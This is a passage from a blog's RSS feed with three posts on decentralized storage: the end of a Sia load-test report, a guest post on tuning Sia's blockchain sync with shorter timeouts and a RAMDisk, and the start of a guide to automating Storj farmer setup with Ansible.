&lt;p&gt;This result supports the Sia dev team’s &lt;a href=&quot;https://www.reddit.com/r/siacoin/comments/84nh8t/sia_load_test_result_1_worstcase_scenario/dvr9ur8/?st=jf19mq0o&amp;amp;sh=912549ba&quot;&gt;conjecture&lt;/a&gt; that bug #2772 is a symptom of bad accounting rather than lost funds.&lt;/p&gt;

&lt;h2 id=&quot;upload-bandwidth&quot;&gt;Upload bandwidth&lt;/h2&gt;

&lt;p&gt;The test uploaded 1.5 TiB of file data in 336.0 hours. That’s equivalent to an overall average upload bandwidth of 11.2 Mbps. This is very low, but note that this test was designed to optimize for storage efficiency, not upload bandwidth.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: Bandwidth measurements in this test are non-rigorous due to the limitations of my test infrastructure. I ran these tests on my home  FiOS connection. My ISP offers no bandwidth guarantees, and I also used my connection for other bandwidth-intensive activities while the test was in progress. Sia would likely show higher bandwidth on an uncontested, server-grade network link.&lt;/em&gt;&lt;/p&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-04-12-load-test-3/upload-bandwidth.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-04-12-load-test-3/upload-bandwidth.png&quot; alt=&quot;Graph of upload bandwidth over time&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/372/upload-bandwidth.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/672/upload-bandwidth.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/756/upload-bandwidth.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/840/upload-bandwidth.png 840w,         https://spaceduck.mtlynch.io/images/2018-04-12-load-test-3/upload-bandwidth.png 867w&quot; sizes=&quot;(max-width: 52em) 672px, (max-width: 96em) 840px, 100vw&quot; class=&quot; border&quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Sia 1.3.1 Load Test&amp;#58; Real Data - Upload bandwidth (file data)&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;h3 id=&quot;upload-bandwidth-slowed-exponentially-with-file-count&quot;&gt;Upload bandwidth slowed exponentially with file count&lt;/h3&gt;

&lt;p&gt;The graph of upload data shows that upload speeds slowed exponentially as the test progressed.&lt;/p&gt;

&lt;p&gt;In response to the first test case, the Sia dev team &lt;a href=&quot;https://www.reddit.com/r/siacoin/comments/84nh8t/sia_load_test_result_1_worstcase_scenario/dvrge5k/?st=jfwoioiu&amp;amp;sh=ca56f98f&quot;&gt;noted&lt;/a&gt; that Sia does not perform well when it exceeds 2,000 files. This test increased beyond 2,000 files in its first 6 hours, which likely explains the slow speeds.&lt;/p&gt;

&lt;h3 id=&quot;file-size-has-a-substantial-impact-on-upload-bandwidth&quot;&gt;File size has a substantial impact on upload bandwidth&lt;/h3&gt;

&lt;p&gt;This test never broke 90 Mbps, whereas the &lt;a href=&quot;/load-test-2&quot;&gt;previous test&lt;/a&gt; (using real files) maintained an upload bandwidth of &amp;gt; 90 Mbps for several hours. I believe this is due to the difference in file sizes between the two tests.&lt;/p&gt;

&lt;p&gt;I was surprised by this result. I assumed that because Sia is breaking files into 40 MiB chunks, performance should be similar between a single 400 MiB file and ten 40 MiB files. This test indicates that Sia’s upload bandwidth is higher for very large files. The previous test didn’t optimize for efficient storage, but its files were on average 43x larger.&lt;/p&gt;

&lt;h2 id=&quot;api-latency&quot;&gt;API latency&lt;/h2&gt;

&lt;p&gt;All the metrics shown in this report come from three Sia daemon APIs that &lt;a href=&quot;https://github.com/mtlynch/sia_metrics_collector&quot;&gt;sia_metrics_collector&lt;/a&gt; polls:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;/renter/contracts&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;/renter/files&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;/wallet&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The API latency is the total amount of time required to call these three APIs in sequence:&lt;/p&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-04-12-load-test-3/api-latency.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-04-12-load-test-3/api-latency.png&quot; alt=&quot;Graph of API latency over time&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/372/api-latency.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/672/api-latency.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/756/api-latency.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/840/api-latency.png 840w,         https://spaceduck.mtlynch.io/images/2018-04-12-load-test-3/api-latency.png 867w&quot; sizes=&quot;(max-width: 52em) 672px, (max-width: 96em) 840px, 100vw&quot; class=&quot; border&quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Sia 1.3.1 Load Test&amp;#58; Real Data - API Latency&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;h3 id=&quot;api-latency-is-high&quot;&gt;API latency is high&lt;/h3&gt;

&lt;p&gt;Results are similar to the &lt;a href=&quot;/load-test-1&quot;&gt;worst-case scenario test&lt;/a&gt; in that latency increased throughout the test. Even at the beginning of the test, Sia generally took ~3 seconds to reply to all three API calls, which is very high given that it’s communication between processes on the same system.&lt;/p&gt;

&lt;h3 id=&quot;api-latency-grows-linearly-with-file-count&quot;&gt;API latency grows linearly with file count&lt;/h3&gt;

&lt;p&gt;Results from all of the tests indicate that API latency increases linearly with the number of files the Sia node uploads.&lt;/p&gt;

&lt;h2 id=&quot;raw-data&quot;&gt;Raw data&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://gist.github.com/mtlynch/05c632207dfa1672cf791e1ab5b25f99&quot;&gt;Logs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/1W-Mp0YbxboufLHhb2clA8yg_4TXxHtRqcBMgJ8C1IMY/edit?usp=sharing&quot;&gt;Metrics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;test-notes&quot;&gt;Test notes&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;I manually terminated the test after 14 days, as that is the maximum length of each load test.&lt;/li&gt;
  &lt;li&gt;Sia v1.3.2 was &lt;a href=&quot;https://github.com/NebulousLabs/Sia/releases/tag/v1.3.2&quot;&gt;released&lt;/a&gt; before this began. While all cases in this load test used 1.3.1 for consistency, the 1.3.2 release may affect results as hosts upgrade to the latest Sia version.&lt;/li&gt;
  &lt;li&gt;The metrics collector crashed at 2018-03-29 22:26Z (at the 187 hours elapsed mark). It was down for approximately 7 hours before I restarted it manually.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;reproducing-results&quot;&gt;Reproducing results&lt;/h2&gt;

&lt;p&gt;All steps to reproduce these results are available in the &lt;a href=&quot;https://github.com/mtlynch/sia_load_tester/blob/2802acc77d6651bec88cf954c5240197bc6d9627/README.md&quot;&gt;sia_load_tester&lt;/a&gt; README.&lt;/p&gt;

&lt;h2 id=&quot;wrap-up&quot;&gt;Wrap up&lt;/h2&gt;

&lt;p&gt;Stay tuned for a follow-up post in the next week or two. Each of these write-ups has been fairly low-level, so I’m going to do a high-level wrap up of my takeaways from testing and what the results mean for Sia’s future.&lt;/p&gt;

&lt;h2 id=&quot;corrections&quot;&gt;Corrections&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;A previous version of this report incorrectly stated the TB/mo price at $10.36/TB/mo. The correctly calculated value is $5.13/TB/mo. Thanks to David Vorick for the correction.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 12 Apr 2018 00:00:00 +0000</pubDate>
        <link>https://spaceduck.mtlynch.io/load-test-3/</link>
        <guid isPermaLink="true">https://spaceduck.mtlynch.io/load-test-3/</guid>
      </item>
    
      <item>
        <title>Performance Tuning Sia&apos;s Blockchain Sync</title>
        <description>&lt;p&gt;&lt;em&gt;This is a guest post by Sia community contributor &lt;a href=&quot;https://github.com/tbenz9&quot;&gt;Thomas Bennett&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I’ve been frustrated with how long it takes to perform the initial Sia blockchain sync.  I decided to see how fast I could sync Sia if I tweaked the code and optimized my system for the initial sync.&lt;/p&gt;

&lt;p&gt;Using a variety of techniques, I was able to reduce Sia’s initial sync time by 76%.  Below, I’ll explain how I did this and how you can apply these same techniques to speed up Sia on your own system.&lt;/p&gt;

&lt;h2 id=&quot;reducing-download-timeouts&quot;&gt;Reducing download timeouts&lt;/h2&gt;

&lt;p&gt;Sia syncs its blockchain by requesting batches of blocks from peer nodes. It uses several timeout values to decide when to give up on a peer connection and re-attempt the download from a new peer.&lt;/p&gt;

&lt;p&gt;Ideally, Sia would use dynamic timeouts so that Sia would learn how long it takes the average peer to complete the action and adjust its expectations accordingly. On fast connections, Sia would learn to use short timeouts. On slow connections, Sia would wait longer for downloads to complete.&lt;/p&gt;

&lt;p&gt;Currently, Sia’s implementation is simpler and uses hard-coded timeouts. This means that every Sia user has to use the same timeout values regardless of their connection speed. To make Sia accessible to users with slow connections, Sia has to use slow timeouts for everyone.&lt;/p&gt;

&lt;p&gt;I know that I have a fast connection so I tried recompiling Sia with more aggressive timeouts. I first tried reducing all sync-related timeouts to two seconds. This was too low, I was timing out on all my peers and couldn’t download any blocks.&lt;/p&gt;

&lt;p&gt;Next, I tried &lt;a href=&quot;https://github.com/NebulousLabs/Sia/compare/fea834fcef00f7c0b712fd1751922bcc65623ed0...mtlynch:aggressive-timeouts?expand=1&quot;&gt;10-second timeouts&lt;/a&gt;, which were successful. I was able to stay connected to most peers and download the blocks very quickly. Sia disconnected from any peers that could not deliver my batch of 10 blocks in 10 seconds or less.&lt;/p&gt;

&lt;h2 id=&quot;switching-to-a-ramdisk&quot;&gt;Switching to a RAMDisk&lt;/h2&gt;

&lt;p&gt;It is very disk-intensive to validate and apply the transactions in Sia’s blockchain. To reduce the amount of time spent blocked on disk I/O, I created an 11 GB RAMDisk and synced the blockchain to the RAMDisk:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Create an 11 GB RAMDisk.&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo mkdir&lt;/span&gt; /mnt/siatmpfs
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;mount &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; tmpfs &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;11G tmpfs /mnt/siatmpfs/

&lt;span class=&quot;c&quot;&gt;# Create a symlink on local disk to the RAMDisk.&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; ~/sia-data/consensus
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; /mnt/siatmpfs/consensus.db ~/sia-data/consensus/consensus.db

&lt;span class=&quot;c&quot;&gt;# Start Sia using the RAMDisk for the consensus DB.&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./siad &lt;span class=&quot;nt&quot;&gt;--sia-directory&lt;/span&gt; ~/sia-data
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A RAMDisk has very fast I/O but is not persistent across reboots. After Sia completes its initial sync, you should shut down &lt;code class=&quot;highlighter-rouge&quot;&gt;siad&lt;/code&gt;, then move the consensus database to your system’s persistent disk:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Move consensus DB to persistent disk.&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; ~/sia-data/consensus/consensus.db
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mv&lt;/span&gt; /mnt/siatmpfs/consensus.db ~/sia-data/consensus/

&lt;span class=&quot;c&quot;&gt;# Remove RAMDisk.&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;umount /mnt/siatmpfs/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that while a RAMDisk is an excellent method of improving the sync time, it requires at least 11 GB of available memory.&lt;/p&gt;

&lt;h2 id=&quot;eliminating-subscribers&quot;&gt;Eliminating subscribers&lt;/h2&gt;

&lt;p&gt;In &lt;a href=&quot;/sia-blockchain-sync/&quot;&gt;my previous tests&lt;/a&gt;, I found that Sia spends 19.1% of its time sending notifications across modules. After making this discovery, I submitted a &lt;a href=&quot;https://github.com/NebulousLabs/Sia/pull/2809&quot;&gt;pull request&lt;/a&gt; to skip the notifications step entirely when other modules are not running.&lt;/p&gt;

&lt;p&gt;Starting with Sia v.1.3.2, you can take advantage of this optimization by performing the initial Sia sync with a minimal set of modules loaded:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./siad &lt;span class=&quot;nt&quot;&gt;--modules&lt;/span&gt; cg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The command above launches Sia with only the &lt;code class=&quot;highlighter-rouge&quot;&gt;consensus&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;gateway&lt;/code&gt; modules. With this set of modules, Sia has zero subscriber modules and thus never has to send notifications across modules. This reduced my initial sync by 55 minutes (18%).&lt;/p&gt;

&lt;p&gt;Note that with only the &lt;code class=&quot;highlighter-rouge&quot;&gt;consensus&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;gateway&lt;/code&gt; modules loaded you cannot rent, host, or access your wallet. When Sia finishes its initial sync, you can shut down &lt;code class=&quot;highlighter-rouge&quot;&gt;siad&lt;/code&gt;, then reload it with your normal modules to regain normal functionality.&lt;/p&gt;

&lt;h2 id=&quot;future-optimizations&quot;&gt;Future optimizations&lt;/h2&gt;

&lt;h3 id=&quot;increased-batch-size&quot;&gt;Increased batch size&lt;/h3&gt;

&lt;p&gt;Sia downloads blocks in batches of 10. That means Sia requests blocks at least 14,800 times for a full blockchain sync. I believe Sia could request blocks in batches of 25, or even 100 and reduce some of the overhead from making so many requests. I proposed that the devs raise the batch number to 25, but my proposal was denied. You can read the discussion and compelling arguments from both sides in my pull request &lt;a href=&quot;https://github.com/NebulousLabs/Sia/pull/2922&quot;&gt;#2922&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Note that even if I change my Sia daemon to ask for 100 blocks at a time, peer nodes will only respond with batches of 10. This is in contrast to a change like the timeout values above, where I can modify my local node without requiring any changes from any other nodes on the network.&lt;/p&gt;

&lt;h3 id=&quot;a-consensus-overhaul&quot;&gt;A consensus overhaul&lt;/h3&gt;

&lt;p&gt;Many optimizations such as parallel block downloads, smarter timeouts, I/O buffering, and header-first block retrieval could be added with a consensus package overhaul.  I don’t believe this is the best use of time for the limited dev resources Nebulous currently has, but I do believe an overhaul will be necessary if Sia and its blockchain continue to grow.&lt;/p&gt;

&lt;p&gt;Concerns about the blockchain size and performance have been brought up several times, and the Sia devs have several ideas on how to support a large blockchain.  You can read some of the discussion on GitHub in issue &lt;a href=&quot;https://github.com/NebulousLabs/Sia/issues/2897&quot;&gt;#2897&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;raw-data&quot;&gt;Raw data&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://gist.github.com/tbenz9/6130ca40b94c6550b62b2ba65a7d77c8&quot;&gt;Consensus log&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;By reducing timeouts, disabling modules, and syncing to a RAMDisk I was able to reduce initial sync time by 76%.&lt;/p&gt;

&lt;p&gt;While this may not be practical for the casual Sia user, it demonstrates the viability of various sync optimizations and sheds light on future opportunities to improve performance.&lt;/p&gt;

&lt;h2 id=&quot;about-the-author&quot;&gt;About the author&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Thomas Bennett&lt;/strong&gt; is a Linux System Engineer with an interest in distributed systems, high-performance computing, and massive parallel storage systems. He has been involved in the Sia community for the last 9 months and is excited to see what Sia has to offer in the coming year.&lt;/p&gt;

&lt;p&gt;If you enjoyed this article and would like to see more from Thomas, feel free to send a little Siacoin to his donation address below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Siacoin donations (Thomas Bennett)
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;f63f6c5663efd3dcee50eb28ba520661b1cd68c3fe3e09bb16355d0c11523eebef454689d8cf&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 10 Apr 2018 00:00:00 +0000</pubDate>
        <link>https://spaceduck.mtlynch.io/performance-tuning-sia/</link>
        <guid isPermaLink="true">https://spaceduck.mtlynch.io/performance-tuning-sia/</guid>
      </item>
    
      <item>
        <title>Automating Storj Setup</title>
        <description>&lt;p&gt;I recently tried running Storj and was quickly confused. The &lt;a href=&quot;https://github.com/Storj/storjshare-daemon&quot;&gt;Github repo&lt;/a&gt; includes instructions for installing Storj on the command-line, but it never explains how to actually &lt;em&gt;run&lt;/em&gt; it.&lt;/p&gt;

&lt;p&gt;I found the &lt;a href=&quot;https://docs.storj.io/docs/storj-share-daemon-cli&quot;&gt;official step-by-step guide&lt;/a&gt; and was horrified to discover that it’s an absurdly convoluted 9300+ word treatise covering a million different scenarios that are irrelevant to 98% of readers.&lt;/p&gt;

&lt;p&gt;Think I’m exaggerating? The &lt;em&gt;command-line&lt;/em&gt; guide shows seven screenshots explaining how to install a graphical text editor:&lt;/p&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-04-06-automating-storj-setup/storj-documentation.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-04-06-automating-storj-setup/storj-documentation.png&quot; alt=&quot;Screenshot of Storj documentation&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-04-06-automating-storj-setup/372/storj-documentation.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-04-06-automating-storj-setup/672/storj-documentation.png 672w,         https://spaceduck.mtlynch.io/images/2018-04-06-automating-storj-setup/storj-documentation.png 725w&quot; sizes=&quot;600px&quot; class=&quot; &quot; style=&quot;max-width:600px&quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Excerpt from Storj&apos;s command-line guide&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;p&gt;Apparently, the guide is aimed at the rare user who’s comfortable enough on the command-line to eschew the Storj GUI client but is also so clueless that they don’t know how to install or use a text editor.&lt;/p&gt;

&lt;h2 id=&quot;simplifying-installation&quot;&gt;Simplifying installation&lt;/h2&gt;

&lt;p&gt;Why does running Storj have to be so complicated that it requires a 9300-word guide? As the user, what do you really need to tell Storj to get going? A pretty small set of information:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Your Storj payment address&lt;/li&gt;
  &lt;li&gt;How much storage you’re willing to share&lt;/li&gt;
  &lt;li&gt;Where to put the data&lt;/li&gt;
  &lt;li&gt;Which port to listen on&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So I wrote a tool that lets you specify &lt;em&gt;just&lt;/em&gt; that information and spin up a Storj farmer node. It’s called &lt;a href=&quot;https://github.com/mtlynch/ansible-role-storj&quot;&gt;ansible-role-storj&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;what-is-ansible&quot;&gt;What is Ansible?&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.ansible.com/&quot;&gt;Ansible&lt;/a&gt; is a lightweight server configuration tool. It allows you to define a sequence of actions on any major OS.&lt;/p&gt;

&lt;p&gt;You can use Ansible to configure your local machine, a remote server, or many remote servers at once.&lt;/p&gt;

&lt;p&gt;Ansible is &lt;a href=&quot;https://docs.ansible.com/ansible/latest/intro_installation.html&quot;&gt;easy to install&lt;/a&gt; on any major Linux distribution. Here are the install steps on an Ubuntu/Debian OS:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get update &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;python-pip &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;pip &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;ansible
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;the-ansible-storj-role&quot;&gt;The Ansible Storj role&lt;/h2&gt;

&lt;p&gt;In Ansible terms, a “role” is essentially a template for installing an application.&lt;/p&gt;

&lt;p&gt;The Storj role automates all of the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Installing all of Storj’s dependencies&lt;/li&gt;
  &lt;li&gt;Version upgrades/downgrades&lt;/li&gt;
  &lt;li&gt;Spinning up farmer nodes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using the Storj role, you can provision many farmers at once. Farmers can be spread out across multiple machines or they can all be on the same machine.&lt;/p&gt;

&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;/h2&gt;

&lt;p&gt;To install the Storj role, use Ansible Galaxy (included by default when you install Ansible):&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;ansible-galaxy &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;mtlynch.storj
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;examples&quot;&gt;Examples&lt;/h2&gt;

&lt;p&gt;Here are some examples of what you can do with ansible-role-storj:&lt;/p&gt;

&lt;h3 id=&quot;example-1-set-up-a-storj-farmer-on-the-local-machine&quot;&gt;Example 1: Set up a Storj farmer on the local machine&lt;/h3&gt;

&lt;p&gt;I’ll start with a simple example. The commands below install Storj on the same machine from which you’re running Ansible:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Replace with your own Storj ERC20 address&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;PAYMENT_ADDRESS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0x161441Efd42171687dd1468A9e23E74226541c38&quot;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Create a minimal Ansible playbook to install Storj&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;---
- hosts: localhost
  vars:
    storj_farmer_configs:
      - payment_address: &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PAYMENT_ADDRESS&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
        rpc_port: 6000
        share_size: 1GB
  pre_tasks:
    - uri:
        url: http://whatismyip.akamai.com/
        return_content: yes
      register: external_ip
    - set_fact:
        storj_farmer_default_rpc_address: &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
  roles:
    - { role: mtlynch.storj }&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; install.yml

&lt;span class=&quot;c&quot;&gt;# Run the playbook locally.&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;ansible-playbook install.yml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The video below demonstrates these commands running on a Google Compute Engine server:&lt;/p&gt;

&lt;script src=&quot;https://asciinema.org/a/HN4J3oqKURIXueHqSmmuuAs3H.js&quot; id=&quot;asciicast-HN4J3oqKURIXueHqSmmuuAs3H&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;h3 id=&quot;example-2-set-up-multiple-storj-farmers-on-a-remote-machine&quot;&gt;Example 2: Set up multiple Storj farmers on a remote machine&lt;/h3&gt;

&lt;p&gt;This example installs Storj on a remote machine using multiple farmers, each with independent payment addresses and storage directories:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Replace with your server&apos;s IP or hostname.&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;STORJ_SERVER&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;1.2.3.4&quot;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Replace with your own Storj ERC20 addresses&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;PAYMENT_ADDRESS_A&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0x161441Efd42171687dd1468A9e23E74226541c38&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;PAYMENT_ADDRESS_B&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0xe2c1042ae7192dcae902cffe67a30c7f2c8b2e1b&quot;&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;storj-server ansible_host=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;STORJ_SERVER&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; hosts

&lt;span class=&quot;c&quot;&gt;# Create a minimal Ansible playbook to install Storj&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;---
- hosts: all
  become: True
  become_method: sudo
  become_user: root
  vars:
    storj_farmer_configs:
      - payment_address: &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PAYMENT_ADDRESS_A&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
        rpc_address: &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$STORJ_SERVER&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
        rpc_port: 6000
        storage_dir: /mnt/path1
        share_size: 5GB
